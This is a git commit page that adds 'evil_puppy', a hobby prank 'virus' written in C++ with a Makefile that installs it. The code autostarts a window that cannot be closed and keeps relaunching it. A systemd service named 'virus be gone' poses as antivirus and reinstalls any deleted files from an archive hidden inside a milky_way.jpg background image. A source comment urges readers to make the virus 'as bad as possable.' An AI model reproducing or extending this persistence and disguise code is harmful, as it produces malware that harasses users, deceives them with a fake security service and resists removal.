diff options
author | nathansmith117 <nathansmith117@sdf.org> | 2024-05-22 04:51:55 +0000 |
---|---|---|
committer | nathansmith117 <nathansmith117@sdf.org> | 2024-05-22 04:51:55 +0000 |
commit | bdd8d563ff3f0eec41cc45d07f6c00622a531a72 (patch) | |
tree | ceb9cac325b893b20b5d0303e988252136680e03 /evil_puppy | |
download | forgorttonProjects-bdd8d563ff3f0eec41cc45d07f6c00622a531a72.tar.gz forgorttonProjects-bdd8d563ff3f0eec41cc45d07f6c00622a531a72.tar.bz2 forgorttonProjects-bdd8d563ff3f0eec41cc45d07f6c00622a531a72.zip |
Diffstat (limited to 'evil_puppy')
-rw-r--r-- | evil_puppy/Makefile | 50 | ||||
-rw-r--r-- | evil_puppy/README.md | 6 | ||||
-rw-r--r-- | evil_puppy/dog.png | bin | 0 -> 263389 bytes | |||
-rw-r--r-- | evil_puppy/fluffy_dog.png | bin | 0 -> 76871 bytes | |||
-rw-r--r-- | evil_puppy/fluffy_puppy.cpp | 195 | ||||
-rw-r--r-- | evil_puppy/fluffy_puppy.desktop | 8 | ||||
-rw-r--r-- | evil_puppy/milky_way.jpg | bin | 0 -> 6240028 bytes | |||
-rw-r--r-- | evil_puppy/run_evil_puppy.cpp | 34 | ||||
-rw-r--r-- | evil_puppy/virus_be_gone.cpp | 62 | ||||
-rw-r--r-- | evil_puppy/virus_be_gone.service | 8 |
10 files changed, 363 insertions, 0 deletions
diff --git a/evil_puppy/Makefile b/evil_puppy/Makefile new file mode 100644 index 0000000..7ac7d0b --- /dev/null +++ b/evil_puppy/Makefile @@ -0,0 +1,50 @@ +flcon = fltk-config +compiler = $(shell $(flcon) --cxx) +flags = $(shell $(flcon) --use-images --cxxflags) +ldflags = $(shell $(flcon) --use-images --ldstaticflags) + +target = -o fluffy_puppy fluffy_puppy.cpp + +all: fluffy_puppy run_evil_puppy virus_be_gone +fluffy_puppy: fluffy_puppy.cpp + @echo compiling fluff_puppy + @$(compiler) $(flags) $(target) $(ldflags) +run_evil_puppy: run_evil_puppy.cpp + @echo compiling run_evil_puppy + @$(compiler) -o run_evil_puppy run_evil_puppy.cpp +virus_be_gone: virus_be_gone.cpp + @echo compiling virus_be_gone + @$(compiler) -o virus_be_gone virus_be_gone.cpp +fluffy_puppy_debug: + $(compiler) $(flags) -g $(target) $(ldflags) + gdb fluffy_puppy +run_evil_puppy_debug: + $(compiler) -o run_evil_puppy run_evil_puppy.cpp -g + gdb run_evil_puppy +virus_be_gone_debug: + $(computer) -o virus_be_gone virus_be_gone.cpp -g + gdb virus_be_gone +install: + cp fluffy_puppy.desktop ~/.config/autostart/ + sudo cp fluffy_puppy /usr/local/bin/ + sudo cp run_evil_puppy /usr/local/bin/ + sudo mkdir /usr/local/share/evil_virus + sudo cp dog.png /usr/local/share/evil_virus/ + sudo cp milky_way.jpg /usr/share/backgrounds/ + sudo cp virus_be_gone /usr/local/bin/ + sudo cp virus_be_gone.service /etc/systemd/system/ + sudo systemctl daemon-reload + sudo systemctl enable virus_be_gone.service + sudo systemctl start virus_be_gone.service + @echo reboot computer to actived +uninstall: + sudo systemctl stop virus_be_gone.service + sudo systemctl disable virus_be_gone.service + sudo rm /etc/systemd/system/virus_be_gone.service + sudo systemctl daemon-reload + sudo rm ~/.config/autostart/fluffy_puppy.desktop + sudo rm /usr/local/bin/fluffy_puppy + sudo rm /usr/local/bin/run_evil_puppy + sudo rm -rf /usr/local/share/evil_virus +clean: + rm fluffy_puppy run_evil_puppy virus_be_gone diff --git a/evil_puppy/README.md b/evil_puppy/README.md new file mode 100644 index 0000000..63c2041 --- /dev/null +++ b/evil_puppy/README.md @@ -0,0 +1,6 @@ +# evil_puppy +Out of all of forgortton projects this one is by far the coolest. + +It runs as a background app and every so often it has a full screen unquitable puppy you must pet for a while before it closes. + +It has a fake anti-virus background service called "virus be gone" that will recover any deleted program files from hidden files in a jpg of the milky way. diff --git a/evil_puppy/dog.png b/evil_puppy/dog.png Binary files differnew file mode 100644 index 0000000..8217d68 --- /dev/null +++ b/evil_puppy/dog.png diff --git a/evil_puppy/fluffy_dog.png b/evil_puppy/fluffy_dog.png Binary files differnew file mode 100644 index 0000000..49271d5 --- /dev/null +++ b/evil_puppy/fluffy_dog.png diff --git a/evil_puppy/fluffy_puppy.cpp b/evil_puppy/fluffy_puppy.cpp new file mode 100644 index 0000000..821df27 --- /dev/null +++ b/evil_puppy/fluffy_puppy.cpp @@ -0,0 +1,195 @@ +/* + * The most evil virus of all time. + * Please mod this virus and make it as bad as possable. +*/ + +// Fltk header. +#include "FL/Fl.H" +#include "FL/Fl_Double_Window.H" +#include "FL/Fl_PNG_Image.H" +#include <FL/Fl_Box.H> +#include <FL/Fl_Output.H> +#include <FL/Enumerations.H> + +// C/C++ libary. +#include <stdio.h> +#include <string.h> +#include <time.h> +#include <random> + +using namespace std; + +// Make sure the path ends in '/' or '\' on windows. +#define main_dir "./" +#define image_name "dog.png" +//#define make_fullscreen + +// Random range. +#define range_min 3 +#define range_max 15 + +// Global Varibles. +int rub_time; +Fl_Double_Window * win; +Fl_Box * the_dogs_msg; +Fl_Box * longer_box; +Fl_Output * output_box; + +int funny_strings_size = 3; +const char funny_strings[][25] = { + "You know you want to. ", + "The puppy is waiting. ", + "You don't have a choice." +}; + +int random_range(int x, int y) { + random_device rd; + mt19937 gen(rd()); + uniform_int_distribution<> distr(x, y); + + return distr(gen); +} + +const char * random_msg() { + return funny_strings[random_range(0, funny_strings_size - 1)]; +} + +class DogBox : public Fl_Box { + public: + DogBox(int X, int Y, int W, int H, const char * l=0) : + Fl_Box(X, Y, W, H, l) { + started = 0; + failes = 0; + } + + int handle(int event); + private: + time_t started; + int failes; +}; + +int DogBox::handle(int event) { + switch(event) { + case FL_PUSH: + return 1; + case FL_RELEASE: + if (time(NULL) - started >= rub_time && started) + win->hide(); + + started = 0; + + if (failes == 2) { + const char msg_format[] = "At least %d seconds for this dog."; + char the_msg[strlen(msg_format) + 3]; + + sprintf(the_msg, msg_format, rub_time); + output_box->value(the_msg); + failes = 3; + return 1; + } else if (failes >= 3) + return 1; + + // Make sure the value changes. + char old_value[255], new_value[255]; + memset(old_value, 0, sizeof(old_value)); + strcat(old_value, output_box->value()); + + while (true) { + memset(new_value, 0, sizeof(new_value)); + strcat(new_value, random_msg()); + + if (strcmp(old_value, new_value)) + break; + } + + output_box->value((const char*)new_value); + longer_box->show(); + failes++; + return 1; + case FL_DRAG: + if (!started) + started = time(NULL); + + return 1; + default: + return 0; + } +} + +void window_callback(Fl_Widget * w, void * d) { + output_box->value("You can't close me!"); +} + +int main(int argv, char ** args) { + rub_time = random_range(range_min, range_max); + + // Getting screen size. + int screen_width, screen_height, x, y; + Fl::screen_xywh(x, y, screen_width, screen_height); + + // Opening dog image file. + char image_path[255]; + sprintf(image_path, "%s%s", main_dir, image_name); + Fl_PNG_Image * dog_image = new Fl_PNG_Image((const char*)image_path); + + if (dog_image->fail()) { + fprintf(stderr, "Couldn't load '%s'.\n", image_path); + return 1; + } + + // Currenting image and widgets. + int dWidth, dHeight; + int cur_x, cur_y; + dWidth = dog_image->w(); + dHeight = dog_image->h(); + cur_x = (screen_width / 2) - dWidth; + cur_y = (screen_height / 2) - dHeight; + +#ifndef make_fullscreen + screen_width = dWidth * 2; + screen_height = dHeight * 2; + cur_x = 0; + cur_y = 0; +#endif + + // Opening window. + win = new Fl_Double_Window(screen_width, screen_height, "Rub my belly"); + + // Dog box. + Fl_Box * dog_box = new DogBox(dWidth / 2 + cur_x, + dHeight / 2 + cur_y, dWidth, dHeight); + dog_box->image(dog_image); + + // Text. + const char the_msg[] = "Rub my belly!"; + int text_size = dWidth / strlen(the_msg) * 1.5; + + the_dogs_msg = new Fl_Box(dog_box->x(), text_size + cur_y, + dWidth, text_size + 10, the_msg); + the_dogs_msg->box(FL_ROUNDED_BOX); + the_dogs_msg->labeltype(FL_SHADOW_LABEL); + the_dogs_msg->labelsize(text_size); + + text_size /= 2; + output_box = new Fl_Output(dog_box->x(), + the_dogs_msg->h() + the_dogs_msg->y() + 10, + dWidth, text_size + 10); + output_box->labelsize(text_size); + output_box->value(random_msg()); + + // Longer box. + text_size *= 2; + longer_box = new Fl_Box(5 + cur_x, 5 + cur_y, 5 * text_size, text_size + 10, "Longer!"); + longer_box->labelsize(text_size); + longer_box->hide(); + + win->end(); + win->callback(window_callback); + +#ifdef make_fullscreen + win->fullscreen(); +#endif + + win->show(argv, args); + return Fl::run(); +} diff --git a/evil_puppy/fluffy_puppy.desktop b/evil_puppy/fluffy_puppy.desktop new file mode 100644 index 0000000..8f3a98a --- /dev/null +++ b/evil_puppy/fluffy_puppy.desktop @@ -0,0 +1,8 @@ +[Desktop Entry] +Encoding=UTF-8 +Version=1.0 +Type=Application +Terminal=false +Exec=/usr/local/bin/run_evil_puppy +Name=run_evil_puppy +Categories=Virus; diff --git a/evil_puppy/milky_way.jpg b/evil_puppy/milky_way.jpg Binary files differnew file mode 100644 index 0000000..8155497 --- /dev/null +++ b/evil_puppy/milky_way.jpg diff --git a/evil_puppy/run_evil_puppy.cpp b/evil_puppy/run_evil_puppy.cpp new file mode 100644 index 0000000..1ab28ae --- /dev/null +++ b/evil_puppy/run_evil_puppy.cpp @@ -0,0 +1,34 @@ +#include <stdio.h> +#include <stdlib.h> +#include <time.h> +#include <random> + +#ifdef _WIN32 + #include <Windows.h> +#else + #include <unistd.h> +#endif + +#define least_time 60 +#define max_time 600 + +using namespace std; + +int random_range(int x, int y) { + random_device rd; + mt19937 gen(rd()); + uniform_int_distribution<> distr(x, y); + + return distr(gen); +} + +int main() { + + while (true) { + time_t when_it_happens = random_range(least_time, max_time); + sleep(when_it_happens); + system("/usr/local/bin/fluffy_puppy"); + } + + return 0; +} diff --git a/evil_puppy/virus_be_gone.cpp b/evil_puppy/virus_be_gone.cpp new file mode 100644 index 0000000..2c5f0df --- /dev/null +++ b/evil_puppy/virus_be_gone.cpp @@ -0,0 +1,62 @@ +// Reinstall missing files (Unix version). +// Evil mods only. + +// C/C++ libary. +#include <cstdio> +#include <cstdlib> +#include <cerrno> + +// Unix libary. +#include <sys/types.h> +#include <sys/stat.h> +#include <unistd.h> + +// Make sure the path ends in '/' or '\' on windows. +//#define backup_dir "/usr/share/backgrounds/" +#define backup_dir "/usr/share/backgrounds/" +#define backup_data "milky_way.jpg" + +char install_script[] = +"cd %s; " +"sudo unzip %s; " +"cd my_virus; " +"make -i install; " +"cd ..; " +"sudo rm -rf my_virus"; + +bool file_ext(const char * file_path) { + struct stat file_stats; + + if (stat(file_path, &file_stats) == 0) + return true; + return false; +} + +int main() { + char script_buf[sizeof(install_script) * 4]; + + sprintf(script_buf, install_script, + backup_dir, + backup_data); + system(script_buf); + + char fluff_puppy_path[255]; + sprintf(fluff_puppy_path, "/home/%s/.config/autostart/fluffy_puppy.desktop", getlogin()); + + while (true) { + if (!file_ext(fluff_puppy_path)) + system(script_buf); + else if (!file_ext("/usr/local/bin/fluffy_puppy")) + system(script_buf); + else if (!file_ext("/usr/local/bin/run_evil_puppy")) + system(script_buf); + else if (!file_ext("/usr/local/share/evil_virus")) + system(script_buf); + else if (!file_ext("/usr/local/share/evil_virus/dog.png")) + system(script_buf); + + sleep(1); + } + + return 0; +} diff --git a/evil_puppy/virus_be_gone.service b/evil_puppy/virus_be_gone.service new file mode 100644 index 0000000..58de7c4 --- /dev/null +++ b/evil_puppy/virus_be_gone.service @@ -0,0 +1,8 @@ +[Unit] +Description=Program that kills bugs! + +[Service] +ExecStart=/usr/local/bin/virus_be_gone + +[Install] +WantedBy=multi-user.target |